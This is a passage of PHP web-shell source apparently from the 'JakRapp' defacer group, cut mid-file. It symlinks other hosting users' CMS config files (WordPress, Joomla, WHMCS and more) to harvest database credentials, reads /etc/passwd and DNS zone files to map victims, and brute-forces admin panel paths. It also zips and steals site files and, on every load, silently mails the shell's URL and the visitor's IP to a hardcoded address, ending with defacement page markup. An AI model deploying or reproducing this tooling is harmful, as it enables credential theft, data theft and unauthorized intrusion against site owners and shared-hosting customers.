2577$htaccss = "Options Indexes FollowSymLinks\nDirectoryIndex amis.txt\nAddType txt .php\nAddHandler txt .php";
2578
2579file_put_contents("jaks/.htaccess",$htaccss);
2580$etc = file_get_contents("/etc/passwd");
2581$etcz = explode("\n",$etc);
2582
2583
2584##Symlink to the ROOT :p
2585foreach($etcz as $etz){
2586$etcc = explode(":",$etz);
2587error_reporting(0);
2588
2589$current_dir = posix_getcwd();
2590$dir = explode("/",$current_dir);
2591
2592symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
2593symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
2594symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
2595symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
2596symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"pee/".$etcc[0].'-PhpBB.txt');
2597symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"pee/".$etcc[0].'-vBulletin.txt');
2598symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
2599symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
2600symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
2601symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
2602symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"pee/".$etcc[0].'-IPB.txt');
2603symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"pee/".$etcc[0].'-MyBB.txt');
2604symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"pee/".$etcc[0].'-SMF.txt');
2605symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"pee/".$etcc[0].'-Drupal.txt');
2606symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"pee/".$etcc[0].'-e107.txt');
2607symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"pee/".$etcc[0].'-Seditio.txt');
2608symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"pee/".$etcc[0].'-osCommerce.txt');
2609symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2610symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2611symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2612symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2613symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2614symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2615symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2616symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2617symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2618symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2619symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2620symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2621symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2622}
2623#############################
2624 if(is_readable("/var/named")){
2625 echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2626 echo'<tr><td><center><b>SITE</b></center></td><td>
2627 <center><b>USER</b></center></td>
2628 <td></center><b>SYMLINK</b></center></td>';
2629 $list = scandir("/var/named");
2630 foreach($list as $domain){
2631 if(strpos($domain,".db")){
2632 $i += 1;
2633 $domain = str_replace('.db','',$domain);
2634 $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2635
2636 echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
2637 <td class='td1'><center><font color='red'>".$owner['name']."</font></center></td>
2638 <td class='td1'><center><a href='jaks/!".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
2639 }
2640 }
2641 echo "<center>Total Domains Found: ".$i."</center><br />";
2642 }else{
2643 echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>"; }
2644
2645break;
2646
2647##################################
2648error_reporting(0);
2649$etc = file_get_contents("/etc/passwd");
2650$etcz = explode("\n",$etc);
2651if(is_readable("/etc/passwd")){
2652
2653echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2654echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
2655
2656$list = scandir("/var/named");
2657
2658foreach($etcz as $etz){
2659$etcc = explode(":",$etz);
2660
2661foreach($list as $domain){
2662if(strpos($domain,".db")){
2663$domain = str_replace('.db','',$domain);
2664$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2665if($owner['name'] == $etcc[0])
2666{
2667$i += 1;
2668echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center>
2669<td class='td1'><font color='red'>".$owner['name']."</font></center></td>
2670<td class='td1'><center><a href='jaks/!".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
2671}}}}
2672echo "<center>Total Domains Found: ".$i."</center><br />";}
2673
2674break;
2675###############################
2676if(is_readable("/etc/named.conf")){
2677echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2678echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
2679$named = file_get_contents("/etc/named.conf");
2680preg_match_all('%zone \"(.*)\" {%',$named,$domains);
2681foreach($domains[1] as $domain){
2682$domain = trim($domain);
2683$i += 1;
2684$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2685echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='jaks/!".$owner['dir']."/".$dir[3]."'
2686target='_blank'>DIR</a></center></td>";
2687}
2688echo "<center>Total Domains Found: ".$i."</center><br />";
2689
2690} else { echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>"; }
2691
2692break;
2693############################
2694if(is_readable("/etc/valiases")){
2695echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2696echo'<tr><td><center><b>SITE</b></center></td><td>
2697<center><b>USER</b></center></td><td></center>
2698<b>SYMLINK</b></center></td>';
2699$list = scandir("/etc/valiases");
2700foreach($list as $domain){
2701$i += 1;
2702$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2703echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
2704<center><td class='td1'><font color='red'>".$owner['name']."</font></center></td>
2705<td class='td1'><center><a href='jaks/!".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
2706}
2707echo "<center>Total Domains Found: ".$i."</center><br />";
2708} else { echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>"; }
2709
2710break;
2711}
2712?>
2713<?php
2714if (isset($_GET['jak']) && ($_GET['jak'] == 'finder')) {
2715?>
2716<form action="?&jak=finder" method="post">
2717<?php
2718set_time_limit(0);
2719error_reporting(0);
2720$list['front'] =
2721"
2722admin
2723adm
2724admincp
2725admcp
2726cp
2727modcp
2728moderatorcp
2729adminare
2730admins
2731cpanel
2732controlpanel";
2733$list['end'] = "
2734admin1.php
2735admin1.html
2736admin2.php
2737admin2.html
2738yonetim.php
2739yonetim.html
2740yonetici.php
2741yonetici.html
2742ccms/
2743ccms/login.php
2744ccms/index.php
2745maintenance/
2746webmaster/
2747adm/
2748configuration/
2749configure/
2750websvn/
2751admin/
2752admin/account.php
2753admin/account.html
2754admin/index.php
2755admin/index.html
2756admin/login.php
2757admin/login.html
2758admin/home.php
2759admin/controlpanel.html
2760admin/controlpanel.php
2761admin.php
2762admin.html
2763admin/cp.php
2764admin/cp.html
2765cp.php
2766cp.html
2767administrator/
2768administrator/index.html
2769administrator/index.php
2770administrator/login.html
2771administrator/login.php
2772administrator/account.html
2773administrator/account.php
2774administrator.php
2775administrator.html
2776login.php
2777login.html
2778modelsearch/login.php
2779moderator.php
2780moderator.html
2781moderator/login.php
2782moderator/login.html
2783moderator/admin.php
2784moderator/admin.html
2785moderator/
2786account.php
2787account.html
2788controlpanel/
2789controlpanel.php
2790controlpanel.html
2791admincontrol.php
2792admincontrol.html
2793adminpanel.php
2794adminpanel.html
2795admin1.asp
2796admin2.asp
2797yonetim.asp
2798yonetici.asp
2799admin/account.asp
2800admin/index.asp
2801admin/login.asp
2802admin/home.asp
2803admin/controlpanel.asp
2804admin.asp
2805admin/cp.asp
2806cp.asp
2807administrator/index.asp
2808administrator/login.asp
2809administrator/account.asp
2810administrator.asp
2811login.asp
2812modelsearch/login.asp
2813moderator.asp
2814moderator/login.asp
2815moderator/admin.asp
2816account.asp
2817controlpanel.asp
2818admincontrol.asp
2819adminpanel.asp
2820fileadmin/
2821fileadmin.php
2822fileadmin.asp
2823fileadmin.html
2824administration/
2825administration.php
2826administration.html
2827sysadmin.php
2828sysadmin.html
2829phpmyadmin/
2830myadmin/
2831sysadmin.asp
2832sysadmin/
2833ur-admin.asp
2834ur-admin.php
2835ur-admin.html
2836ur-admin/
2837Server.php
2838Server.html
2839Server.asp
2840Server/
2841wp-admin/
2842administr8.php
2843administr8.html
2844administr8/
2845administr8.asp
2846webadmin/
2847webadmin.php
2848webadmin.asp
2849webadmin.html
2850administratie/
2851admins/
2852admins.php
2853admins.asp
2854admins.html
2855administrivia/
2856Database_Administration/
2857WebAdmin/
2858useradmin/
2859sysadmins/
2860admin1/
2861system-administration/
2862administrators/
2863pgadmin/
2864directadmin/
2865staradmin/
2866ServerAdministrator/
2867SysAdmin/
2868administer/
2869LiveUser_Admin/
2870sys-admin/
2871typo3/
2872panel/
2873cpanel/
2874cPanel/
2875cpanel_file/
2876platz_login/
2877rcLogin/
2878blogindex/
2879formslogin/
2880autologin/
2881support_login/
2882meta_login/
2883manuallogin/
2884simpleLogin/
2885loginflat/
2886utility_login/
2887showlogin/
2888memlogin/
2889members/
2890login-redirect/
2891sub-login/
2892wp-login/
2893login1/
2894dir-login/
2895login_db/
2896xlogin/
2897smblogin/
2898customer_login/
2899UserLogin/
2900login-us/
2901acct_login/
2902admin_area/
2903bigadmin/
2904project-admins/
2905phppgadmin/
2906pureadmin/
2907sql-admin/
2908radmind/
2909openvpnadmin/
2910wizmysqladmin/
2911vadmind/
2912ezsqliteadmin/
2913hpwebjetadmin/
2914newsadmin/
2915adminpro/
2916Lotus_Domino_Admin/
2917bbadmin/
2918vmailadmin/
2919Indy_admin/
2920ccp14admin/
2921irc-macadmin/
2922banneradmin/
2923sshadmin/
2924phpldapadmin/
2925macadmin/
2926administratoraccounts/
2927admin4_account/
2928admin4_colon/
2929radmind-1/
2930Super-Admin/
2931AdminTools/
2932cmsadmin/
2933SysAdmin2/
2934globes_admin/
2935cadmins/
2936phpSQLiteAdmin/
2937navSiteAdmin/
2938server_admin_small/
2939logo_sysadmin/
2940server/
2941database_administration/
2942power_user/
2943system_administration/
2944ss_vms_admin_sm/
2945adminarea/
2946bb-admin/
2947adminLogin/
2948panel-administracion/
2949instadmin/
2950memberadmin/
2951administratorlogin/
2952admin/admin.php
2953admin_area/admin.php
2954admin_area/login.php
2955siteadmin/login.php
2956siteadmin/index.php
2957siteadmin/login.html
2958admin/admin.html
2959admin_area/index.php
2960bb-admin/index.php
2961bb-admin/login.php
2962bb-admin/admin.php
2963admin_area/login.html
2964admin_area/index.html
2965admincp/index.asp
2966admincp/login.asp
2967admincp/index.html
2968webadmin/index.html
2969webadmin/admin.html
2970webadmin/login.html
2971admin/admin_login.html
2972admin_login.html
2973panel-administracion/login.html
2974nsw/admin/login.php
2975webadmin/login.php
2976admin/admin_login.php
2977admin_login.php
2978admin_area/admin.html
2979pages/admin/admin-login.php
2980admin/admin-login.php
2981admin-login.php
2982bb-admin/index.html
2983bb-admin/login.html
2984bb-admin/admin.html
2985admin/home.html
2986pages/admin/admin-login.html
2987admin/admin-login.html
2988admin-login.html
2989admin/adminLogin.html
2990adminLogin.html
2991home.html
2992rcjakar/admin/login.php
2993adminarea/index.html
2994adminarea/admin.html
2995webadmin/index.php
2996webadmin/admin.php
2997user.html
2998modelsearch/login.html
2999adminarea/login.html
3000panel-administracion/index.html
3001panel-administracion/admin.html
3002modelsearch/index.html
3003modelsearch/admin.html
3004admincontrol/login.html
3005adm/index.html
3006adm.html
3007user.php
3008panel-administracion/login.php
3009wp-login.php
3010adminLogin.php
3011admin/adminLogin.php
3012home.php
3013adminarea/index.php
3014adminarea/admin.php
3015adminarea/login.php
3016panel-administracion/index.php
3017panel-administracion/admin.php
3018modelsearch/index.php
3019modelsearch/admin.php
3020admincontrol/login.php
3021adm/admloginuser.php
3022admloginuser.php
3023admin2/login.php
3024admin2/index.php
3025adm/index.php
3026adm.php
3027affiliate.php
3028adm_auth.php
3029memberadmin.php
3030administratorlogin.php
3031admin/admin.asp
3032admin_area/admin.asp
3033admin_area/login.asp
3034admin_area/index.asp
3035bb-admin/index.asp
3036bb-admin/login.asp
3037bb-admin/admin.asp
3038pages/admin/admin-login.asp
3039admin/admin-login.asp
3040admin-login.asp
3041user.asp
3042webadmin/index.asp
3043webadmin/admin.asp
3044webadmin/login.asp
3045admin/admin_login.asp
3046admin_login.asp
3047panel-administracion/login.asp
3048adminLogin.asp
3049admin/adminLogin.asp
3050home.asp
3051adminarea/index.asp
3052adminarea/admin.asp
3053adminarea/login.asp
3054panel-administracion/index.asp
3055panel-administracion/admin.asp
3056modelsearch/index.asp
3057modelsearch/admin.asp
3058admincontrol/login.asp
3059adm/admloginuser.asp
3060admloginuser.asp
3061admin2/login.asp
3062admin2/index.asp
3063adm/index.asp
3064adm.asp
3065affiliate.asp
3066adm_auth.asp
3067memberadmin.asp
3068administratorlogin.asp
3069siteadmin/login.asp
3070siteadmin/index.asp
3071ADMIN/
3072paneldecontrol/
3073login/
3074cms/
3075admon/
3076ADMON/
3077administrador/
3078ADMIN/login.php
3079panelc/
3080ADMIN/login.html";
3081function template() {
3082echo '
3083
3084<script type="text/javascript">
3085<!--
3086function insertcode($text, $place, $replace)
3087{
3088 var $this = $text;
3089 var logbox = document.getElementById($place);
3090 if($replace == 0)
3091 document.getElementById($place).innerHTML = logbox.innerHTML+$this;
3092 else
3093 document.getElementById($place).innerHTML = $this;
3094//document.getElementById("helpbox").innerHTML = $this;
3095}
3096-->
3097</script>
3098<br>
3099<br>
3100<h1 class="technique-two">
3101
3102
3103
3104</h1>
3105
3106<div class="wrapper">
3107<div class="red">
3108<div class="tube">
3109<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
3110<form action="" method="post" name="xploit_form">
3111
3112<tr>
3113<tr>
3114 <b><td>URL</td>
3115 <td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
3116 </td>
3117</tr><tr>
3118 <td>404 string</td>
3119 <td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
3120 </td></b>
3121</tr><br><td>
3122<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
3123</span></td></tr>
3124</form></td></tr>
3125<br /></table>
3126</div> <!-- /tube -->
3127</div> <!-- /red -->
3128<br />
3129<div class="green">
3130<div class="tube" id="rightcol">
3131Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
3132<b>Found ones:<br /></b>
3133</div> <!-- /tube -->
3134</div></center><!-- /green -->
3135<br clear="all" /><br />
3136<div class="blue">
3137<div class="tube" id="logbox">
3138<br />
3139<br />
3140Admin page Finder :<br /><br />
3141</div> <!-- /tube -->
3142</div> <!-- /blue -->
3143</div> <!-- /wrapper -->
3144<br clear="all"><br>';
3145}
3146function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
3147 if($br == 1) $msg .= "<br />";
3148 echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
3149 if($stop == 1) exit;
3150 @flush();@ob_flush();
3151}
3152function check($x, $front=0) {
3153 global $_POST,$site,$false;
3154 if($front == 0) $t = $site.$x;
3155 else $t = 'http://'.$x.'.'.$site.'/';
3156 $headers = get_headers($t);
3157 if (!eregi('200', $headers[0])) return 0;
3158 $data = @file_get_contents($t);
3159 if($_POST['xploit_404string'] == "") if($data == $false) return 0;
3160 if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
3161 return 1;
3162}
3163
3164// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3165template();
3166if(!isset($_POST['xploit_url'])) die;
3167if($_POST['xploit_url'] == '') die;
3168$site = $_POST['xploit_url'];
3169if ($site[strlen($site)-1] != "/") $site .= "/";
3170if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
3171$list['end'] = str_replace("\r", "", $list['end']);
3172$list['front'] = str_replace("\r", "", $list['front']);
3173$pathes = explode("\n", $list['end']);
3174$frontpathes = explode("\n", $list['front']);
3175show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
3176$verificate = 0;
3177foreach($pathes as $path) {
3178 show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
3179 $verificate++; show($verificate, 0, 0, 'verified', 1);
3180 if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
3181 else{
3182 show('<span style="color: #FF0000;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
3183 show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
3184 }
3185}
3186preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
3187if(substr($site, 0, 3) == "www") $site = substr($site, 4);
3188foreach($frontpathes as $frontpath) {
3189 show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
3190 $verificate++; show($verificate, 0, 0, 'verified', 1);
3191 if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
3192 else{
3193 show('<span style="color: #FF0000;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
3194 show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
3195 }
3196
3197}
3198}
3199?>
3200<?php
3201if(isset($_GET['jak']) && ($_GET['jak'] == 'maling')){ ?>
3202<form action="?y=<?php echo $pwd; ?>&jak=maling" method="post">
3203<form method="post" action="" enctype="multipart/form-data">
3204<input type=text name=sites size=40></nobr><br>
3205<input type="submit" name="go" value="Colong!" style="margin: 5px auto; hight: 25px; width: 100px;">
3206</form>
3207<?php
3208$site = explode("\r\n", $_POST['sites']);
3209$go = $_POST['go'];
3210if($go) {
3211foreach($site as $sites) {
3212@session_start();
3213@error_reporting(0);
3214@ini_set('error_log',NULL);
3215@ini_set('log_errors',0);
3216@ini_set('max_execution_time',0);
3217@ini_set('display_errors', 0);
3218@set_time_limit(0);
3219$folder="$sites";
3220$output="hasil-maling.zip";
3221$zip = new ZipArchive();
3222
3223if ($zip->open($output, ZIPARCHIVE::CREATE) !== TRUE) {
3224 die ("Unable to open Archirve");
3225}
3226
3227$all= new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder));
3228
3229foreach ($all as $f=>$value) {
3230 $zip->addFile(realpath($f), $f) or die ("ERROR: Unable to add file: $f");
3231}
3232$zip->close();
3233echo "Selamat Anda Berhasil Mencuri Data Website ";
3234}
3235}
3236}
3237?>
3238<?php
3239@ini_set('output_buffering', 0);
3240@ini_set('display_errors', 0);
3241set_time_limit(0);
3242ini_set('memory_limit', '64M');
3243header('Content-Type: text/html; charset=UTF-8');
3244$tujuanmail = 'jakataruna09@gmail.com';
3245$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
3246$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
3247mail($tujuanmail, "Maho", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
3248?>
3249<?php
3250if(isset($_GET['jak']) && ($_GET['jak'] == 'about'))
3251 {
3252 ?>
3253 <form action="?y=<?php echo $pwd; ?>&jak=about" method="post">
3254<html>
3255<head>
3256 <title>JakRapp</title>
3257<meta content='Hacked By JakRapp' name='description'/>
3258<meta content='Hacked By JakRapp, Tested By JakRapp, JakRapp Was Here, wned By JakRapp, JakRapp Come Back, Security By JakRapp, Tusboled By JakRapp, Anon JakRapp, Hacker JakRapp, Haxor JakRapp, JakRapp One Comando, sabun by jakrapp, JakRapp Defacer, Deface By JakRapp' name='keywords'/>
3259<meta content='index,follow' name='robots'/>
3260<link href='http://www.jakrapp.com/favicon.ico' rel='icon' type='image/x-icon'/>
3261<style type="text/css">*{margin:0;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}body,html{margin:0;padding:0;font:16px/1.4 Lato,sans-serif;color:#fefeff;-webkit-font-smoothing:antialiased;font-smoothing:antialiased;font-family:Comic Sans MS}body{background:#080510;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}h1{font:2.75em Cinzel,serif;font-weight:400;letter-spacing:.35em;text-shadow:0 0 25px rgba(254,254,255,.85)}h2{font:1.45em Cinzel,serif;font-weight:400;letter-spacing:.5em;text-shadow:0 0 25px rgba(254,254,255,.85);text-transform:lowercase}[class^=letter]{-webkit-transition:opacity 3s ease;-moz-transition:opacity 3s ease;transition:opacity 3s ease}.letter-0{transition-delay:.2s}.letter-1{transition-delay:.4s}.letter-2{transition-delay:.6s}.letter-3{transition-delay:.8s}.letter-4{transition-delay:1s}.letter-5{transition-delay:1.2s}.letter-6{transition-delay:1.4s}.letter-7{transition-delay:1.6s}.letter-8{transition-delay:1.8s}.letter-9{transition-delay:2s}.letter-10{transition-delay:2.2s}.letter-11{transition-delay:2.4s}.letter-12{transition-delay:2.6s}.letter-13{transition-delay:2.8s}.letter-14{transition-delay:3s}h1,h2{visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}h1.transition-in,h2.transition-in{visibility:visible}h1 [class^=letter],h2 [class^=letter]{opacity:0}h1.transition-in [class^=letter],h2.transition-in [class^=letter]{opacity:1}#container{display:table;position:absolute;z-index:20;width:100%;height:100%;text-align:center;cursor:none}#container>div{display:table-cell;vertical-align:middle}#container p{position:absolute;width:100%;left:0;bottom:25px;font-size:.8em;letter-spacing:.1em;font-weight:300;color:#76747a;-webkit-font-smoothing:subpixel-antialiased;font-smoothing:subpixel-antialiased}#container p strong{color:#b3abc5}#container p span{font-size:.75em;padding:0 2px}#canvas{position:absolute;z-index:10;top:0;left:0;width:100%;height:100%;cursor:none}#stats{position:absolute;z-index:10;left:10px;top:10px}.dg.ac{z-index:100!important}.STYLE4{color:#FFF}
3262</style>
3263</head>
3264<body>
3265<body ondragstart="window.event.returnValue=false" oncontextmenu="window.event.returnValue=false" onselectstart="event.returnValue=false">
3266<div id="container">
3267<div><br><br><br><br><br><br><br><br>
3268<h1 id="h1">JakRapp</h1>
3269</br>
3270<h2 id="h2">Pasukan Berani Mati | Indonesian Fighter Cyber</h2>
3271<br><br><br><br><br><br><br><br><br><br><br><br><br><br>
3272<h3></h3>
3273<h3 id="h3"> </h3>
3274</div>
3275</div>
3276<canvas id="canvas"></canvas>
3277<script>
3278var Stats=function(){var e=Date.now(),t=e,i=0,n=1/0,r=0,s=0,o=1/0,a=0,l=0,h=0,c=document.createElement("div");c.id="stats",c.addEventListener("mousedown",function(e){e.preventDefault(),v(++h%2)},!1),c.style.cssText="width:80px;opacity:0.9;cursor:pointer";var u=document.createElement("div");u.id="fps",u.style.cssText="padding:0 0 3px 3px;text-align:left;background-color:#002",c.appendChild(u);var d=document.createElement("div");d.id="fpsText",d.style.cssText="color:#0ff;font-family:Comic Sans MS;font-size:9px;font-weight:bold;line-height:15px",d.innerHTML="FPS",u.appendChild(d);var p=document.createElement("div");for(p.id="fpsGraph",p.style.cssText="position:relative;width:74px;height:30px;background-color:#0ff",u.appendChild(p);74>p.children.length;){var f=document.createElement("span");f.style.cssText="width:1px;height:30px;float:left;background-color:#113",p.appendChild(f)}var m=document.createElement("div");m.id="ms",m.style.cssText="padding:0 0 3px 3px;text-align:left;background-color:#020;display:none",c.appendChild(m);var g=document.createElement("div");g.id="msText",g.style.cssText="color:#0f0;font-family:Comic Sans MS;font-size:9px;font-weight:bold;line-height:15px",g.innerHTML="MS",m.appendChild(g);var y=document.createElement("div");for(y.id="msGraph",y.style.cssText="position:relative;width:74px;height:30px;background-color:#0f0",m.appendChild(y);74>y.children.length;){var f=document.createElement("span");f.style.cssText="width:1px;height:30px;float:left;background-color:#131",y.appendChild(f)}var v=function(e){switch(h=e){case 0:u.style.display="block",m.style.display="none";break;case 1:u.style.display="none",m.style.display="block"}},b=function(e,t){var i=e.appendChild(e.firstChild);i.style.height=t+"px"};return{REVISION:11,domElement:c,setMode:v,begin:function(){e=Date.now()},end:function(){var h=Date.now();return i=h-e,n=Math.min(n,i),r=Math.max(r,i),g.textContent=i+" MS ("+n+"-"+r+")",b(y,Math.min(30,30-30*(i/200))),l++,h>t+1e3&&(s=Math.round(1e3*l/(h-t)),o=Math.min(o,s),a=Math.max(a,s),d.textContent=s+" FPS ("+o+"-"+a+")",b(p,Math.min(30,30-30*(s/100))),t=h,l=0),h},update:function(){e=this.end()}}};
3279</script>
3280<script>
3281;(function(window) {
3282var ctx,
3283hue,
3284logo,
3285form,
3286buffer,
3287target = {},
3288tendrils = [],
3289settings = {};
3290settings.debug = true;
3291settings.friction = 0.5;
3292settings.trails = 20;
3293settings.size = 50;
3294settings.dampening = 0.25;
3295settings.tension = 0.98;
3296Math.TWO_PI = Math.PI * 2;
3297// ========================================================================================
3298// Oscillator
3299// ----------------------------------------------------------------------------------------
3300function Oscillator(options) {
3301this.init(options || {});
3302}
3303Oscillator.prototype = (function() {
3304var value = 0;
3305return {
3306init: function(options) {
3307this.phase = options.phase || 0;
3308this.offset = options.offset || 0;
3309this.frequency = options.frequency || 0.001;
3310this.amplitude = options.amplitude || 1;
3311},
3312update: function() {
3313this.phase += this.frequency;
3314value = this.offset + Math.sin(this.phase) * this.amplitude;
3315return value;
3316},
3317value: function() {
3318return value;
3319}
3320};
3321})();
3322// ========================================================================================
3323// Tendril
3324// ----------------------------------------------------------------------------------------
3325function Tendril(options) {
3326this.init(options || {});
3327}
3328Tendril.prototype = (function() {
3329function Node() {
3330this.x = 0;
3331this.y = 0;
3332this.vy = 0;
3333this.vx = 0;
3334}
3335return {
3336init: function(options) {
3337this.spring = options.spring + (Math.random() * 0.1) - 0.05;
3338this.friction = settings.friction + (Math.random() * 0.01) - 0.005;
3339this.nodes = [];
3340for(var i = 0, node; i < settings.size; i++) {
3341node = new Node();
3342node.x = target.x;
3343node.y = target.y;
3344this.nodes.push(node);
3345}
3346},
3347update: function() {
3348var spring = this.spring,
3349node = this.nodes[0];
3350node.vx += (target.x - node.x) * spring;
3351node.vy += (target.y - node.y) * spring;
3352for(var prev, i = 0, n = this.nodes.length; i < n; i++) {
3353node = this.nodes[i];
3354if(i > 0) {
3355prev = this.nodes[i - 1];
3356node.vx += (prev.x - node.x) * spring;
3357node.vy += (prev.y - node.y) * spring;
3358node.vx += prev.vx * settings.dampening;
3359node.vy += prev.vy * settings.dampening;
3360}
3361node.vx *= this.friction;
3362node.vy *= this.friction;
3363node.x += node.vx;
3364node.y += node.vy;
3365spring *= settings.tension;
3366}
3367},
3368draw: function() {
3369var x = this.nodes[0].x,
3370y = this.nodes[0].y,
3371a, b;
3372ctx.beginPath();
3373ctx.moveTo(x, y);
3374for(var i = 1, n = this.nodes.length - 2; i < n; i++) {
3375a = this.nodes[i];
3376b = this.nodes[i + 1];
3377x = (a.x + b.x) * 0.5;
3378y = (a.y + b.y) * 0.5;
3379ctx.quadraticCurveTo(a.x, a.y, x, y);
3380}
3381a = this.nodes[i];
3382b = this.nodes[i + 1];
3383ctx.quadraticCurveTo(a.x, a.y, b.x, b.y);
3384ctx.stroke();
